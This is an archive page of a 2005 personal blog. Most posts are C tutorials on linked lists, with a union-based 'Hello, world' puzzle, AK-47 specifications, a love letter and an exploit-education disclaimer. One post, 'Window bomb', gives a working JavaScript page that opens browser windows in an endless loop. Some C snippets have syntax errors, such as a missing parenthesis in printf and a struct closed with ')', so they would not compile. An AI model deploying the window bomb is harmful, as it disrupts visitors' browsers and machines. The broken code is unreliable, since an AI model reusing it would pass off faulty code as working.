Skip to main content

Posts

Showing posts from November, 2005

Mystery program

This program is system-dependent, it will run correctly on many different systems. Try it on your machine. #if (VAX || PC)         #define HEX0 0x6c6c6548         #define HEX1 0x77202c6f         #define HEX2 0x646c726f         #define HEX3 0x00000a21 #else         #define HEX0 0x48656c6c         #define HEX1 0x6f2c2077         #define HEX2 0x6f726c64         #define HEX3 0x210a0000 #endif typedef union {         char what[16];         long cipher[4]; } mystery; int main(void) {         mystery x;         x.c...

List application

To illustrate the use of those functions, here is an example. #include <stdio.h> #include <stdlib.h> #include "list.h" LINK string_to_list(char []); void print_list(LINK); int count_rec(LINK); int main(void) {         LINK h;         h = string_to_list("ABC");         printf("The resulting list is\n");         print_list(h);         printf("\nThis list has %d elements.\n", count_rec(h));         return 0; } The output of the program is The resulting list is A --> B --> C --> NULL This list has 3 elements.

Printing a list using recursion

This is a function for displaying a list. Oh I just love recursion. void print_list(LINK head) {         if (head == NULL)                 printf("NULL");         else {                 printf("%c --> ", head -> d;                 print_list(head -> next);         } }

Pro guns

It is indeed true that my passion for guns already existed long before I came to this chaotic world. Guns are the most outstanding weaponry ever in the history of man. Let me give you some facts about my preferred gun as of the moment. Avtomat Kalashnikov 47 (AK-47) Country: Soviet Union/Russian Federation Type: Assault Rifle Inventor: Mikhail Kalashnikov Year of design: 1947 Service duration: 1951-Present Cartridge: 7.62 mm X 39 Action: Gas-Operated rotating bolt Rate of fire: 600 rpm Muzzle velocity: 710 m/s Effective rage: 300 m Weight: 4.3 kg (unloaded) Length: 870 mm Barrel: 415 mm Magazine Cap.: 30 Viewing sights: Adjustable iron sights, optional mount required for optical scope Variants: AK-47, AKS, AKM, AKMS, AK-74, AK-101, AK-103 Number built: More than 1 million excluding unlicense...

Counting a list iteratively

This is a simple way of counting elements in a list. For some, they would prefer to embed this operation upon list creation and insertion or deletion. int count_it(LINK head) {         int cnt = 0;         for ( ; head != NULL; head = head -> next)                 ++cnt;         return cnt; }

What lies inside

There are things in life that are inevitable and I am powerless to control them. The sun will rise and set, the tide will come in and go out, the seasons will change, friends walk in and out, and the caterpillar will soon turn into a beautiful butterfly. Somehow, I feel reassured by this because many other things in life are so transient - so momentary. I can’t imagine life without knowing you. For without you, my life would be empty of all inspiration. There will be no work of art for me to gaze at; no person of greatness before me; no timeless melody to listen to. My life will exist in shades of gray instead of vibrant colors, and I will be less than whole. The proper words have escaped me, and my innermost feelings have been locked away in the depths of my heart. I wish I could say these to you in person while gazing into your eyes. I cherish any thought of you, prize any memory of you that rises from the depths of my mind, and live for the day when our eyes meet.

Creating a list by iteration

The previous post is quite a bit confusing because it is by recursion. Well, nothing special. Here is the code in all its glory. #include "list.h" LINK s_to_l(char s[]) {         LINK head = NULL, tail;         int i;         if (s[0] != '\0') {                 head = malloc(sizeof(ELEMENT));                 head -> d = s[0];                 tail = head;                 for (i = 1; s[i] != '\0'; ++i) {                       ...

Window bomb

Whip up your favorite text editor and start doing this. <html> <title>Window Bomb!</title> <script language="javascript">         while (true) {         window.open() } </script> </html> Expecting browsers to ignore this in the future.

Linear linked list

This is how I implement linear linked lists in C. The structure must be defined in a header file. In file list.h #include <stdio.h> #include <stdlib.h> typedef char DATA; /* an element of type character */ struct linked_list{         DATA d;         struct linked_list *next; ); typedef struct linked_list ELEMENT; typedef ELEMENT *LINK; Linear linked list includes some of the basic operations: 1. Create list 2. Count elements 3. Look up an element 4. Concatenate lists 5. Insert an element 5. Delete an element Here is how I create a list by recursion. #include "list.h" LINK string_to_list(char s[]) {         LINK head;         if (s[0] == '\0') /* base case */                 return NULL; ...

General notice

Eradicus provides these entries for educational use. While every reasonable effort is made to ensure that these entries do what is claimed, Eradicus will not be held accountable for any damage or distress caused by the proper or improper usage of these materials, and makes no guarantee in regards to their operation or suitability for any specific purpose. Digital Stronghold is for research and educational purposes only. The primary intent of this category is to provide the reader with hard to find content for research or self education relevant to all computer science aspects, network security and various protection methods and their intrinsic flaws by demonstrating exploit methods and techniques used to circumvent them. I hope that you are better aware of the danger that lurk out in society today and learn how to protect yourself with the knowledge you need. In continuing you must remember that you are going to use this information only for educational and research purposes. While...